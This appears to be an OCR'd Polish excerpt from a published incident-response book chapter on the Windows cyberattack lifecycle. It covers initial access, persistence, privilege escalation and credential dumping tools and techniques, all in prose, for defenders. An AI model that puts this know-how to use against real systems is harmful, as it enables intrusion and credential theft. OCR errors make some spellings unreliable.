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Cykl Rozdziat
cyberataku | 2

W tym rozdziale przyjrzymy sie typowym fazom ukierunkowanego cyberataku na sys-
temy Windows. Omdwimy rdzne etapy takiego ataku, takie jak uzyskanie poczatko-
wego dostepu, rozprzestrzenianie sie w sieci, zatozenie przyczotkuy, eksfiltracja danych
i skutki ataku. Przeanalizujemy réwniez rézne taktyki i techniki stosowane przez cyber-
przestepcdw na poszczeg6lnych etapach ataku, w tym dziatania zautomatyzowane i prze-
prowadzane recznie. Rozdziat ten koncentruje sie na cyklu ataku z perspektywy atakujg-
cego, aby utatwi¢ opracowanie najlepszej strategii obronnej w odpowiedzi na zaawansowane
wlamania.

Dzieki dogtebnemu zrozumieniu mozliwosci, motywacji i celéw podmiotéw stanowia-
cych zagrozenie, zespoty ds. cyberbezpieczenstwa moga skuteczniej wykrywac¢ oznaki
wtlaman. Zamiast podazac za pojedynczymi sladami, mogg zastosowa¢ kompleksowe
podejscie, obejmujace cate przedsiebiorstwo.

Jednym z gtéwnych celéw autoréw tej ksigzki jest ukazanie wyraznego zwiagzku mie-
dzy dzialaniami atakujacego a pozostawianym przez niego cyfrowym $ladem. Ma to
utatwi¢ skuteczniejsze reagowanie na incydenty oraz projektowanie aktywnej obrony.

Przedstawimy uproszczone nieliniowe podej$cie do wyjasnienia schematu cyberataku,
ktore stosujemy od kilku lat rownolegle z powszechnie uzywana macierza MITRE ATT&CK®.
Koncepcja ujednoliconego taricucha ataku zostata pierwotnie opisana w raporcie Ran-
somware Uncovered 2021 - 2022 opracowanym przez Group-IB. Ten taficuch wprowa-
dza pojecie faz — semantycznie zgrupowanych dziatann wykonywanych przez atakujacych
w celu przeprowadzenia wiamania, oraz etapéw wyjasniajacych powod lub motyw stojacy
za danym dziataniem. Kazdy etap moze obejmowac co najmniej jedna taktyke z macie-
rzy MITRE ATT&CK®, co utatwia odwzorowywanie aktywnosci przeciwnika. Na przyktad
atakujacy uzywajacy polecenia powtoki PowerShell do uruchomienia narzedzia Impac-
ket zostanie przypisany do taktyk realizacja (Execution, TA0002), utrwalanie dostepu
(Persistence, TA0003) i ruch boczny (Lateral Movement, TA0008) w macierzy MITRE
ATT&CK®, ale w naszym ujednoliconym faficuchu zaawansowanych cyberatakéw zostanie
przyporzadkowany tylko do jednej fazy i jednego kroku. Rysunek 2.1 przedstawia ogdlny
zarys proponowanej metody.

W kolejnych podrozdziatach oméwimy poszczegdlne fazy.

Dzieki lekturze tego rozdziatu bedziesz w peini przygotowany do opracowania skutecz-
nych strategii reagowania na incydenty, bazujgcych na rozpoznanych etapach ataku. Zna-
czaco pomoze to w ochronie organizacji przed zagrozeniami cybernetycznymi.
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Uzyskiwanie Ustanawianie Rozpoznawanie
EPZIE dostepu do sieci przyczétku sieci
Odkrywanie Rozprzestrzenianie
Faza 2. . . e
kluczowych zasobow sie w sieci
L Eksfiltracja . .
Faza 3. danych > Skutki

Rysunek 2.1. Ujednolicony tancuch zaawansowanego cyherataku

W tym rozdziale zostang oméwione nastepujgce zagadnienia:
B faza 1.: zdobycie poczatkowego przyczotku;

B faza 2.: utrzymanie dostepu i widocznosci w caltym przedsiebiorstwie
w obrebie sieci;

B faza 3.: eksfiltracja danych i skutki.

Zaczynajmy!

Faza 1. Zdobycie poczatkowego
przyczotku

Pierwsza faza ujednoliconego tanicucha atakéw cybernetycznych opisuje dziatania
przeciwnika na poczatku wiamania. Wszystkie czynnoSci zawarte w pierwszej fazie sa
wykonywane na poczatkowo zaatakowanym zasobie, co przedstawiliSmy na rysunku 2.2.

Uzyskiwanie Ustanawianie Rozpoznawanie

dostepu do sieci przyczétku ) sieci A

Faza 1.

Rysunek 2.2. Etapy pierwszej fazy ataku

Kroki w ramach tej fazy zostaty szczegétowo oméwione w kolejnych sekcjach.

Uzyskiwanie dostepu do sieci

.....

wykryty na tym etapie, 0znacza to, Ze albo atak nie zostat dobrze zaplanowany, albo organi-
zacja byta dobrze przygotowana na taka sytuacje. Aby omowic wszystkie fazy, zatézmy
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na razie, ze atakujacy osiagaja swoje cele na kazdym etapie i kontynuuja kolejne kroki
niezauwazeni.

Podczas uzyskiwania poczatkowego dostepu atakujacy wykorzystuja rézne wektory
wejscia, aby zdoby¢ pierwszy przyczotek w sieci. Pierwszy przejety zaséb nazywany
jest pacjentem zero. Srodowisko Windows nie musi by¢ pacjentem zero. W niektérych
przypadkach tylko segment sieci moze by¢ wykorzystywany w pdzniejszych etapach ataku,
takich jak ruch boczny.

Zacznijmy od tego, Ze do uzyskania wstepnego dostepu mozna wykorzysta¢ nastepujace
techniki:

B Wykorzystywanie aplikacji dostepnych publicznie. Byt to najczesciej
stosowany wektor poczatkowego ataku w 2022 roku, zidentyfikowany w ponad
30% atakow (https://services.google.com/fh/files/misc/m-trends-ig-2023-en.pdf).
Prawie kazda organizacja posiada publicznie dostepne zasoby, takie jak
aplikacje internetowe obstugujace klientow, zewnetrzne ustugi zdalne lub
lokalne serwery poczty elektronicznej. Aplikacje te moga by¢ atakowane na
rézne sposoby, przy uzyciu zar6wno znanych, jak i nieznanych (zero day)
luk w zabezpieczeniach. Znane luki to te, ktére zostaty publicznie ujawnione
i czesto sg skatalogowane wraz z odpowiednimi tatkami lub strategiami
tagodzenia skutkow. Jednak wiele organizacji nie stosuje tych aktualizacji
w odpowiednim czasie, pozostawiajgc swoje aplikacje podatnymi na ataki.

Z kolei luki typu zero day to wcze$niej nieznane stabo$ci w oprogramowaniu,
ktdre daja cyberprzestepcom przewage, poniewaz w momencie ich odkrycia
nie sa dostepne zadne tatki ani poprawki. Moga one by¢ wykorzystywane

do uzyskania nieautoryzowanego dostepu, zaktécenia ustug, a nawet
niezauwazonego infiltrowania sieci.

B Phishing. Ten wektor poczatkowego dostepu opiera sie na wykorzystaniu
ludzkich stabosci. Atakujacy wysytaja wiadomosci phishingowe na poczte
elektroniczna lub do serwis6w spotecznosciowych ofiary, stosujac wszelkie
mozliwe formy socjotechniki, aby naktoni¢ uzytkownikéw do okreslonych
dziatan. Poniewaz takie wiadomosci zawierajg ztosliwe zataczniki, odno$niki
lub wszystko naraz, uzytkownik konncowy moze zosta¢ naktoniony do otwarcia
dokumentu, wiaczenia jego zawartosci lub klikniecia podanego adresu URL.
Makro w dokumencie pakietu Office nie jest jedynym sposobem dostarczenia
ztosliwego tadunku. Przestepcy moga rowniez wysytaé zawierajace szkodliwg
zawarto$c¢ obrazy ISO lub VHD, ktére sa natywnie obstugiwane przez system
Windows, tadunki wykorzystujace luki w zabezpieczeniach klienta poczty Outlook
lub pliki LNK (skroty), ktére majg wbudowane polecenia wykonywane po otwarciu
pliku przez uzytkownika. NajczeSciej wykorzystywanym kanatem
w zaawansowanych atakach jest poczta elektroniczna. Ukierunkowane
wtamanie koncentruje sie na odbiorcach, ktérzy zazwyczaj pracujg z e-mailami,
ale nie sg zaznajomieni z koncepcjami cyberbezpieczenstwa. Ostatecznym
celem tego dziatania jest dostarczenie ztosliwego tadunku na urzadzenie
uzytkownika konicowego.

B Zdalne ustugi zewnetrzne. Atakujacy moga wykorzysta¢ ustugi zdalne dostepne
z zewnatrz, ktore zostaty skonfigurowane na potrzeby biznesowe, takie jak
dostep pracownikéw do sSrodowiska firmowego z catego $wiata. Moze to by¢
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ustuga pulpitu zdalnego (RDP) udostepniona w internecie bez zablokowanego
dostepu dla okreslonych adreséw IP lub bez uwierzytelniania wielosktadnikowego,
brama VPN, infrastruktura wirtualnych pulpitéw (VDI/VDA, np. Citrix)

lub narzedzia do zdalnej administracji, takie jak TeamViewer czy AnyDesk.

B Konta uprawnione. Wszelkie lokalne, domenowe, chmurowe lub domys$lne
konta (administratora najemcy lub lokalnego administratora) moga zostaé
przejete poprzez ataki typu brute force, zgadywanie haset, ataki typu password
spraying lub kradziez po infekcji trojanem. Sg one zwykle wykorzystywane
przy przejmowaniu zewnetrznych ustug zdalnych i prowadzg do uzyskania
sesji uzytkownika.

B Atak typu drive-by. W tego rodzaju ataku napastnicy uzyskuja dostep do
systemu ofiary poprzez wykorzystanie luk w przegladarce internetowej
uzytkownika (dostarczajac ztosliwy kod na odwiedzang strone) albo przez
przechwycenie tokena dostepu do aplikacji.

B Atak na lancuch dostaw. Jest to niezwykle wyrafinowany wektor ataku,
wymagajacy ogromnych naktadéw pracy w celu zainfekowania produktéw
uzywanych przez potencjalne ofiary. Najnowsze przyktady atakéw na tancuch
dostaw to SolarWinds, Magecart i Codecov.

B Zaufana relacja. Jest to sytuacja, w ktdrej atakujacy wykorzystuja zaufanie
miedzy osobami, sieciami lub systemami, aby uzyska¢ nieuprawniony dostep
lub przeprowadzi¢ ztosliwe dziatania. Takie ataki sg szczeg6lnie niebezpieczne,
poniewaz omijajg tradycyjne zabezpieczenia, wykorzystujac istniejace zaufanie,
co utrudnia ich wykrycie. Na przyktad wszelkie zlecone na zewngatrz prace
rozwojowe lub integracje systemoéw wewnetrznych moga zawiera¢ wstepnie
skonfigurowany dostep do sieci organizacji. Ponadto firmy nalezace do tej
samej grupy kapitatowej moga wspétdzieli¢ zasoby, jak w przypadku dealera
samochodowego korzystajacego ze wspolnej infrastruktury z firma logistyczna
dzialajaca pod ta sama marka.

B Replikacja przez nos$niki wymienne. Jest to metoda ataku polegajaca na
dostarczaniu pendrive’éw USB zawierajacych trojany zdalnego dostepu za
posrednictwem ustug kurierskich. Na przyktad grupa FIN7 przeprowadzita
ataki typu BadUSB, wysytajac paczki przez amerykanska poczte i UPS.

Po podtaczeniu takiego pendrive’a uruchamiat sie ztosliwy skrypt PowerShella,
instalujacy pierwszy etap zestawu narzedzi FIN7 (wiecej informacji:
https://www.bleepingcomputer.com/news/security/fbi-hackers-use-badusb
-to-target-defense-firms-with-ransomware/). Podobnie grupa powigzana

z Chinami przeprowadzita w 2023 roku kampanie z uzyciem spreparowanych
pendrive’éw USB (szczegoty: https://cloud.google.com/blog/topics/threat
-intelligence/china-nexus-espionage-southeast-asia).

B Dodawanie sprzetu. Jest to technika majaca na celu uzyskanie dostepu poprzez
wykorzystanie akcesoriow komputerowych, sprzetu sieciowego lub innych
urzadzen w systemie badz sieci. Ataki znane jako DarkVishnya znane s3a ze
stosowania Raspberry Pi, netbookéw podiaczonych do zasilaczy oraz kabli
sieciowych w sieciach, ktdre nie majg odpowiedniej kontroli dostepu do
sieci (NAC). Zaobserwowano réwniez routery Mikrotik z przewodowymi
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potaczeniami do modeméw 4G, ustanawiajgce tunel VPN L2TP miedzy
srodowiskami atakujgcych a srodowiskami ofiar, co pozwala im utrzymac
wystarczajacy dostep.

Ponadto aby atakujacy mégt uzyskac¢ dostep do sieci, musza zosta¢ spelnione pewne wa-
runki. Wiadomos$¢ e-mail musi omingc¢ istniejgce zabezpieczenia, takie jak weryfikacja
reputacji domen nadawcéw, kontrola reputacji nadawcy czy sprawdzanie zatgcznikédw
i odno$nikéw przez systemy ochrony poczty firmowej, np. poprzez piaskownice. Nieupraw-
nione urzadzenie USB mozZe po prostu nie zosta¢ zamontowane z powodu braku na liscie
dozwolonych urzadzen lub ograniczen portéw USB w organizacji. Program antywiru-
sowy lub rozwigzanie EDR powinno albo nie wykry¢ zto$liwego oprogramowania, albo
wykry¢ je, ale nie przeprowadzi¢ automatycznego usuniecia zagrozenia i zosta¢ zignoro-
wane przez zespot IT i cyberbezpieczenistwa.

W wyniku udanego poczatkowego wtamania ztosliwe tadunki zostajg dostarczone do in-
frastruktury docelowej lub zostaje ustanowiona sesja uzytkownika z dowolnym zasobem.

Ustanawianie przyczétku

Kazdy doswiadczony aktor zagrozen bedzie dazyl do ustanowienia nadmiarowego
(moze to obejmowac narazenie wielu endpointéw lub wykorzystanie ré6znych narzedzi
i technik) oraz solidnego (stabilnego i dyskretnego) dostepu do sieci ofiary. Ogoélnie
rzecz biorgc, taki przyczoétek stanowi kombinacje taktyk z macierzy MITRE ATT&CK®,
takich jak utrwalanie dostepu (Persistence, TA0003), unikanie wykrycia (Defense
Evasion, TA0005), pozyskiwanie poSwiadczen (Credential access, TA0006) czy pod-
noszenie uprawnien (Privilege Escalation, TA0004). Przyjrzyjmy sie wszystkim moz-
liwym scenariuszom.

Zaawansowani przeciwnicy posiadajg rozlegla wiedze na temat Srodowisk korporacyjnych,
dlatego moga wystapic nastepujace scenariusze:

B Przypadek 1. Poczatkowy wektor dostepu polegat na zdalnym potaczeniu
przez RDP przy uzyciu domys$lnego konta lokalnego uzytkownika. Pierwszym
krokiem byto przeprowadzenie rekonesansu na endpoincie w celu lepszego
zrozumienia poziomu zabezpieczen ofiary. Etap rekonesansu obejmowat zbieranie
informacji o uruchomionych procesach, zainstalowanym oprogramowaniu
i konfiguracji urzadzenia (zasady inspekcji, domena Active Directory itp.),

a nastepnie sprawdzenie istniejacych kont uzytkownikéw lub aktualnych ses;ji.
Jesli endpoint byt instancjg VDI, utrwalenie dostepu byto bezcelowe, poniewaz
host powracat do swojej migawki po ponownym uruchomieniu lub po
zakonczeniu sesji uzytkownika. W przeciwnym razie warto byto zapewnic
sobie trwaty dostep do tego hosta.

B Przypadek 2. Poczatkowy wektor dostepu polegal na wykorzystaniu niezatatanej
luki ProxyNotShell w Microsoft Exchange z uruchomiong ustugg Outlook Web
Access (OWA). W ramach dziatan po wtamaniu umieszczono w folderze
serwera IIS (C:\inetpub\wwwroot\ *) webshell, a tadunek zostat dostarczony
do C:\Users\Public\*, C:\PerfLogs\*, C:\root\* lub innej lokalizacji. Serwery
Microsoft Exchange sg dobrym celem do utrwalenia dostepu ze wzgledu na ich
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wysoka dostepnos¢, dlugi czas pracy oraz znaczenie i warto$¢ biznesowa dla
organizacji. Dzieki temu atakujacy maja juz wystarczajace uprawnienia do
dalszych dziatan i duzg pewnos¢ co do trwatosci uzyskanego dostepu.

B Przypadek 3. Po udanym wiamaniu do integratora IT obstugujacego kilka
duzych przedsiebiorstw atakujacy znalazt spos6b na dostep do serwera
aplikacji biznesowych uzywanego do celéw testowych. Po wstepnym rozpoznaniu
potwierdzono, Ze serwer dziatat nieprzerwanie od ponad roku i nie posiadat
odpowiednich zabezpieczen, poniewaz byt uzywany gtéwnie do testow.

W takiej sytuacji zaawansowany napastnik najprawdopodobniej
zdecydowatlby sie pozosta¢ na tym serwerze.

Jednakze utrzymanie dostepu moze by¢ uzyskane automatycznie poprzez wykorzysta-
nie wbudowanych funkgcji zto§liwego oprogramowania bez dodatkowej konfiguracji.
Trojany stuzace do uzyskania poczatkowego dostepu, takie jak TrickBot, QakBot, SystemBC
iinne, mogg dostarcza¢ dodatkowe narzedzia, w tym zaawansowane platformy do prze-
prowadzania atakéw (np. Cobalt Strike, Metasploit, Koadic, Covenant, BruteRatel, Sliver
i Empire). Moga one rowniez zapewniac ciggto$¢ dziatania, przeprowadza¢ wstepne roz-
poznanie oraz przesyta¢ wyniki do serwera dowodzenia i kontroli (C2). Warianty zto-
$liwego oprogramowania wykorzystywane w atakach APT maja podobne funkcje, reali-
zZowane przez specjalnie opracowane moduty.

Jesli chodzi o uzyskanie dostepu do systemu, zgodnie z taktykami macierzy MITRE ATT&CK®
Enterprise, atakujgcy ma do dyspozycji szeroki wachlarz mozliwoSsci:

B Zewnetrzne ustugi zdalne (External Remote Services, T1133).

B Utworzenie konta (Create Account, T1136).

B Tworzenie lub modyfikowanie proceséw systemowych (Create or Modify
System Process, T1543.003).

B Zaplanowane zadanie: zadanie cykliczne (Scheduled Task/Job: Scheduled
Task, T1053.005);

B Automatyczne uruchamianie programéw podczas rozruchu systemu
lub logowania (Boot or Logon Autostart Execution, T1547).

B Skrypty inicjujace rozruch lub logowanie (Boot or Logon Initialization
Scripts, T1037).

B Przejmowanie przepltywu wykonywania (Hijack Execution Flow, T1574)
poprzez manipulacje kolejnoscig wyszukiwania bibliotek DLL, wstrzykiwanie
DLL, podszywanie sie lub sideloading (przenoszenie plikow).

B Modyfikacja procesu uwierzytelniania (Modify Authentication Process, T1556)
lub skladnik oprogramowania serwera (Server Software Component, T1505).

B Uruchamianie wyzwalane zdarzeniami: przejecie kontroli nad COM
(komponentowym modelem obiektowym; Event Triggered Execution:
Component Object Model (COM) Hijacking, T1546.015).

B Wykonywanie wyzwalane zdarzeniami: subskrypcja zdarzen WMI
(Windows Management Instrumentation; Event Triggered Execution: Windows
Management Instrumentation Event Subscription, T1546.003).

Kup ksigzke Pole¢ ksigzke


https://helion.pl/rf/skustr
https://helion.pl/rt/skustr

Rozdziat 2 m Cykl cyberataku 49

Niektdére metody nie mogg zosta¢ zaimplementowane na tym etapie ze wzgledu na ogra-
niczony dostep (na przyktad gdy serwer nie jest przytaczony do aktywnego katalogu
lub dana funkcja nie jest wtgczona) albo po prostu dlatego, Ze nie wymagaja tak zaawan-
sowanego podejscia. Opiszemy kilka takich metod w dalszej czesci tego rozdziatu.

Jesli chodzi o podnoszenie uprawnien dostepu, istnieje wiele dostepnych metod (zobacz
ponizsza liste). Nie spos6b omdéwic ich wszystkich w tym miejscu, ale postaramy sie
przedstawi¢ najczesciej stosowane techniki, ktére mozna zaobserwowac w praktyce:

B Wykorzystanie podatnosci w celu podniesienia uprawnien (Exploitation
for Privilege Escalation, T1068). Obejmuje to zar6wno luki w systemie
operacyjnym, jak i w oprogramowaniu. Jednym z najczestszych przypadkow
sg podatnos$ci umozliwiajgce lokalne podniesienie uprawnien (ang. local
privilege escalation — LPE). Celem LPE jest uzyskanie dostepu do konta
uzytkownika SYSTEM i zdobycie najwyzszych uprawnien w przestrzeni
uzytkownika systemu Windows (Ring 3). Niedawno odkryta podatnos¢
w sterowniku Common Log File System (CVE-2023-23376), zgtoszona w 2023 roku
w systemie Windows, byta wykorzystywana przez kilka grup APT i ransomware,
umozliwiajac podniesienie uprawnien do poziomu SYSTEM. Inny popularny
przyktad to podatnos$¢ na zdalne wykonanie kodu w kliencie Microsoft Outlook
(CVE-2023-23397), ktora jest czesto wykorzystywana w rzeczywistych atakach.
Niektore luki moga pozwoli¢ na podniesienie uprawnien do poziomu
administratora domeny Active Directory.

W 2020 roku zgtoszono luke Zerologon (CVE-2020-1472, https://msrc.microsoft.com/
update-guide/en-US/advisory/CVE-2020-1472), ktéra umozliwiata hakerom
przejecie kontroli nad kontrolerem domeny (ang. domain controller — DC),
w tym gtéwnym kontrolerem, poprzez zmiane lub usuniecie hasta konta ustugi
przy uzyciu btedu w procesie logowania. W rezultacie mozliwe byto
przeprowadzenie ataku typu DoS lub przejecie catej sieci. Ponadto firma
Mandiant poinformowata, ze grupa UNC3661 wykorzystata ztosliwe
oprogramowanie DOUBLEJUMP (https://cloud.google.com/blog/topics/
threat-intelligence/m-trends-2023) do podniesienia uprawnien w $rodowisku,
jednoczes$nie wykorzystujac luke CVE-2022-21919 w ustudze profilu
uzytkownika systemu Windows. Pozwolito to na wykonanie ztosliwej
biblioteki DLL w konteks$cie uzytkownika NT AUTHORITY\SYSTEM.

B Obejscie kontroli konta uzytkownika (Bypass User Account Control,
T1548.002). Jest to technika, ktéra pozwala oming¢ potwierdzenie
administratora przy uruchamianiu okreslonych proceséw z wyzszymi
uprawnieniami. Wykorzystuje ona mechanizm podnoszenia uprawnien
w systemie Windows. Ta technika jest czesto implementowana w funkcjonalnosci
ztosliwego oprogramowania, ktére zostato wprowadzone przez atakujgcych.
Przyktady jej zastosowania mozna znaleZ¢ w dziataniach grup takich jak
MuddyWater, PatchWork, APT29 i APT37.

B Manipulacja tokenami dostepu (Access Token Manipulation, T1134).
Modyfikacja tokendw dostepu jest przeprowadzana w celu zmiany wtasnosci
lub kontekstu bezpieczenistwa biezacego procesu, aby wykona¢ okreslone
dziatania i ominag¢ kontrole dostepu. Uzytkownik moze manipulowaé tokenami
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dostepu, sprawiajac, Ze uruchomiony proces wyglada tak, jakby byt potomkiem
innego procesu lub nalezat do kogo$ innego niz uzytkownik, ktéry go uruchomit.
W takiej sytuacji proces przyjmuje rdwniez kontekst bezpieczenistwa zwigzany
z nowym tokenem. Przykladem jest stare, ale wciaz skuteczne polecenie
GetSystem, stosowane w narzedziach takich jak Cobalt Strike, Meterpreter
i innych frameworkach poeksploatacyjnych. Prébuje ono wykorzystaé
podszywanie sie pod nazwane potoki, aby uzyska¢ uprawnienia SYSTEM.
Tworzy ustuge systemu Windows dziatajaca jako NT AUTHORITY\SYSTEM

i przekazuje jej dane przez losowo utworzony nazwany potok, wykorzystujac
mechanizmy systemu Windows do komunikacji miedzy procesami
(https://learn.microsoft.com/en-us/openspecs/windows_protocols/
MS-WINPROTLP/e36c976a-6263-42a8-b119-7a3cc41ddd2a).

B Wstrzykiwanie procesow (Process Injection, T1631). Ta technika zazwyczaj
wymaga uprawnien SYSTEM, aby mogta zosta¢ przeprowadzona. Atakujacy
preferujg wykorzystywanie proceséw systemowych takich jak miedzy innymi
explorer.exe, svchost.exe, System, 1sass.exe, regsvr32 i rund1132 jako cele do
wstrzykniecia. Interesujace podtechniki wstrzykiwania proceséw, ktére mozna
zaobserwowac w praktyce, obejmujg drazenie procesow (ang. process hollowing)

i klonowanie procesow (ang. process doppelganging; jest to technika unikania
zabezpieczen, ktéra moze omina¢ tradycyjne Srodki bezpieczenstwa, gdzie
ztosliwe oprogramowanie tworzy kopie legalnego procesu, ale modyfikuje jego
pamie¢ w celu wykonania szkodliwego kodu). Inne tego typu techniki sg
szczegdtowo opisane w ksigzce Practical Memory Forensics: Jumpstarteffective
forensic analysis of volatile memory Svetlany Ostrovskiej i Olega Skulkina, wiec
nie bedziemy ich tu doktadnie omawia¢. Te procedury zostaly zaimplementowane
w réznych rodzinach ztosliwego oprogramowania, w tym Dtracku i Lokibocie.

B Wykonywanie wyzwalane zdarzeniami (Event Triggered Execution, T1546).
Przyktadowo subskrypcja zdarzen WMI umozliwia tworzenie filtréw zdarzen,
konsumentdéw i powiazan, ktére wykonuja kod, gdy wystapi zdefiniowane
zdarzenie. Innym przyktadem jest przejecie kontroli nad obiektami COM
(ang. COM hijacking). Obecne wersje systemu Windows zawierajg ponad 9500
obiektéw COM, z ktorych wiele stuzy do zachowania zgodnosci wsteczne;j.

W niektérych przypadkach obiekty sa wycofywane przez producenta, a w ich
miejsce implementowany jest szkielet z odno$nikami do istniejacych klas.
Atakujgcy moga przeprowadzi¢ analize, znalez¢ nieuzywane obiekty COM

i powiagzac je ze ztosliwym kodem. Na przyktad chinski trojan zdalnego dostepu
PcShare, o ktérym informowat BitDefender w 2020 roku, wykorzystywat
mechanizm utrwalania sie poprzez przejecie kontroli nad obiektem COM
znanym jako MruPidList.

B Przejecie kontroli nad przeptywem wykonania (Hijack Execution Flow,
T1574). Metody wspomniane wcze$niej sa najmniej spotykane w rzeczywistych
atakach majacych na celu podniesienie uprawnien. Aby sie powiodty, musza
zosta¢ spetnione nastepujace warunki:

®m  Znalezienie procesu, ktory dziata lub uruchomi sie z podwyzszonymi
uprawnieniami, ale brakuje mu wymaganej biblioteki DLL.
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m  Nadanie uprawnien do zapisu dla folderéw, w ktérych bedzie
przeszukiwana biblioteka DLL. Moze to by¢ katalog z plikiem
wykonywalnym lub jeden z katalogéw uwzglednionych w zmienne;j
sSrodowiskowej PATH.

B Wazne konta uzytkownika (Valid Accounts, T1078). Po uzyskaniu dostepu
na poziomie SYSTEM lub administratora lokalnego na zaatakowanym hoscie
napastnicy moga wykorzystac¢ techniki dostepu do poswiadczen i zdoby¢ konta
uprzywilejowane w domenie (administratorzy domeny, konta ustug).
Alternatywnie moga naduzy¢ zasobdw skonfigurowanych z tozsamoscig ustugi
lub inna tozsamos$cia poprzez dostep oparty na rolach, aby rozszerzy¢ swoj
dostep do biezacych lub innych zasobéw. Wykorzystanie tych kont pozwala
uzyskaé wyzsze uprawnienia i kontynuowac atak.

B Ucieczka do hosta (Escape to Host, T1611). Jest to rzadki przypadek, ale warto
o nim wspomnie¢. Atakujacy moga wykorzysta¢ btedne konfiguracje w Dockerze
lub alternatywnych kontenerach albo luki w systemie Docker Engine, aby uzyskac
dostep do hosta. To samo dotyczy oprogramowania Kubernetes. Istnieje zestaw
narzedzi do penetracji Kubernetesa i chmury o nazwie Peirates, ktory zostat
zauwazony w uzyciu przez grupe TeamTNT. Podobnie techniki ucieczki istnieja
w przypadku VMWare’a i VirtualBoxa, umozliwiajagc ucieczke z goscia do hosta.
W tej dziedzinie przeprowadzono wiele badan. Dobrym przyktadem jest
prezentacja z BlackHata na temat ucieczek z VMWare’a (The Great Escapes
from VMWare), dostepna pod adresami https://www.blackhat.com/docs/eu-17/
materials/eu-17-Mandal-The-Great-Escapes-Of-Vmware-A-Retrospective-Case
-Study-0f-Vmware-G2H-Escape-Vulnerabilities.pdf i https://www.blackhat
.com/docs/eu-17/materials/eu-17-Mandal-The-Great-Escapes-Of-Vmware
-A-Retrospective-Case-Study-Of-Vmware-G2H-Escape-Vulnerabilities.pdf.

B Techniki utrwalania obecno$ci w systemie, takie jak automatyczne
uruchamianie podczas startu lub logowania (Boot or Logon Autostart
Execution, T1547), skrypty rozruchowe lub inicjalizacyjne (Boot or Logon
Initialization Scripts, T1037), tworzenie lub modyfikowanie ustug
systemowych Windowsa (Create or Modify System Process: Windows Service,
T1543.003), zadania zaplanowane (Scheduled Task/Job: Scheduled Task,
T1053.005) przy uzyciu polecen sc i schtasks, a takze wykonywanie zdarzen
poprzez przechwytywanie COM (Event Triggered Execution: COM Hijacking,
T1546.015) moga by¢ réwniez wykorzystane do podniesienia uprawnien.

Te metody pozwalaja atakujacemu na trwate zakorzenienie sie w systemie
i potencjalne uzyskanie wyzszych pozioméw dostepu.

W poprzednim zestawieniu omoéwiliSmy techniki uzyskiwania dostepu do poswiadczen,
ktore moga dawac wstep do innych systemow. Teraz wyjasnimy, w jaki sposob przeciw-
nicy moga gromadzi¢ dane uwierzytelniajace:

B Atak silowy (Brute Force, T1110). Istnieje wiele narzedzi umozliwiajacych
zgadywanie hasel przy uzyciu gotowych stownikéw oraz przeprowadzanie
atakéw typu password spraying, polegajacych na probie uzycia tego samego
hasta dla wielu kont uzytkownikdéw. Jest to najczesciej obserwowany scenariusz
podczas reagowania na incydenty na catym $wiecie. Alternatywnie stosowana
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jest technika credential stuffing, wykorzystujaca wcze$niej wyciekte hasta.
W tym przypadku atakujacy préobuja znalez¢ powtarzajgce sie hasta, zaktadajac,
ze uzytkownicy moga je wykorzystywaé ponownie. Na koniec, po przechwyceniu
zaszyfrowanych danych uwierzytelniajacych, stosuje sie tamanie haset w celu
odzyskania ich w formie tekstowe;.

B Pozyskiwanie danych uwierzytelniajacych z magazynéw haset
(Credentials from Password Stores, T1555). Atakujacy moga przechwytywac
dane logowania z przegladarek internetowych, menedzera poswiadczen
systemu Windows, klientéw poczty elektronicznej czy menedzeréw haset
takich jak KeePass. Przyktadowo trojan TrickBot miat modut przechwytujacy
hasta w momencie odblokowania bazy kluczy. Jednocze$nie powszechnie
stosowane sg narzedzia takie jak LaZagne, Mimikatz i zestaw narzedzi NirSoft
do pozyskiwania po$wiadczen z réznych zrédet w systemie.

B Zrzucanie poswiadczen systemu operacyjnego (OS Credential Dumping,
T1003). Ta technika byta obserwowana w prawie kazdym przypadku, z ktérym
mieli$my do czynienia. Materiat uwierzytelniajacy przechowywany w pamieci
procesu ustugi podsystemu lokalnego urzedu bezpieczenstwa (ang. Local
Security Authority Subsystem Service — LSASS) jest czesto celem atakéow
wiekszosci cyberprzestepcodw. Do zrzucania procesu 1sass.exe wykorzystywane
sa narzedzia takie jak procdump, menedzer zadan oraz bezposrednie wywotania
API systemu Windows, jak MiniDumpWriteDump. Mimikatz, LaZagne,
secretsdump, CrackMapExec oraz niektére wbudowane biblioteki DLL, takie
jak comsves.d11, moga albo samodzielnie zrzuca¢ proces 1sass, albo uzywac
uprawnien debugowania do analizy po$wiadczen w pamieci procesu. Po zebraniu
zawartos$ci pamieci procesu atakujacy moga ja wyeksportowac i wyodrebnié
wszystkie po$wiadczenia na wtasnym sprzecie lub przeprowadzi¢ te operacje
bezposrednio na komputerze ofiary. LSASS nie jest jednak jedynym celem tej
techniki. Intruzi moga wydoby¢ hasta kont lokalnych, analizujac plik rejestru
menedzera kont zabezpieczen (ang. Security Account Manager — SAM).
Najbardziej pozadanym celem jest przejecie kontrolera domeny, gdzie mozliwe
jest zrzucenie pliku NTDS.d1it zawierajacego cata baze danych kont Active
Directory. Eksportujac kilka kluczy rejestru SOFTWARE i SYSTEM, atakujacy moga
odszyfrowac te dane i uzyskaé petny dostep do infrastruktury. Istnieje wiele
metod zrzucania bazy danych NTDS, w tym wykorzystanie mechanizmu kopii
w tle (ang. Volume Shadow Copy), uzycie wcze$niej wspomnianych narzedzi,

a takze wbudowanego narzedzia ntdsutil.exe. Co wiecej, nie jest konieczne
przejecie kontrolera domeny, aby uzyskac te informacje. Zaobserwowano
rowniez ataki DCSync wykorzystujace wbudowany mechanizm replikacji
kontroleréw domeny Active Directory. Oczywiscie to nie jest peina lista znanych
technik stuzacych do osiggniecia tego celu, wiec wrécimy do tematu w kolejnych
sekcjach.

B Kradziez lub falszowanie biletow Kerberos (Steal or Forge Kerberos Tickets,
T1558). Polega to na uzyskaniu tzw. ztotych lub srebrnych biletéw Kerberos
albo na przeprowadzeniu ataku typu kerberoasting poprzez przechwycenie
biletéw Kerberos, a nastepnie przeprowadzenie ataku sitowego.
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B Modyfikacja procesu uwierzytelniania (Modify Authentication Process,
T1556). Niedawno ataki przeprowadzone przez iranskie grupy APT polegaty
na implementacji filtréw haset, co pozwolito im doda¢ biblioteke DLL do filtru
powiadomien. Pozwolito to na przechwycenie niezaszyfrowanych haset
uzytkownikow probujacych zmienic¢ swoje hasta. Pierwotnie taki mechanizm
zostat zaprojektowany do sprawdzania zgodno$ci haset z zasadami
bezpieczenstwa, jednak jak wida¢, kazde narzedzie moze mie¢ swoéj ztowrogi
odpowiednik.

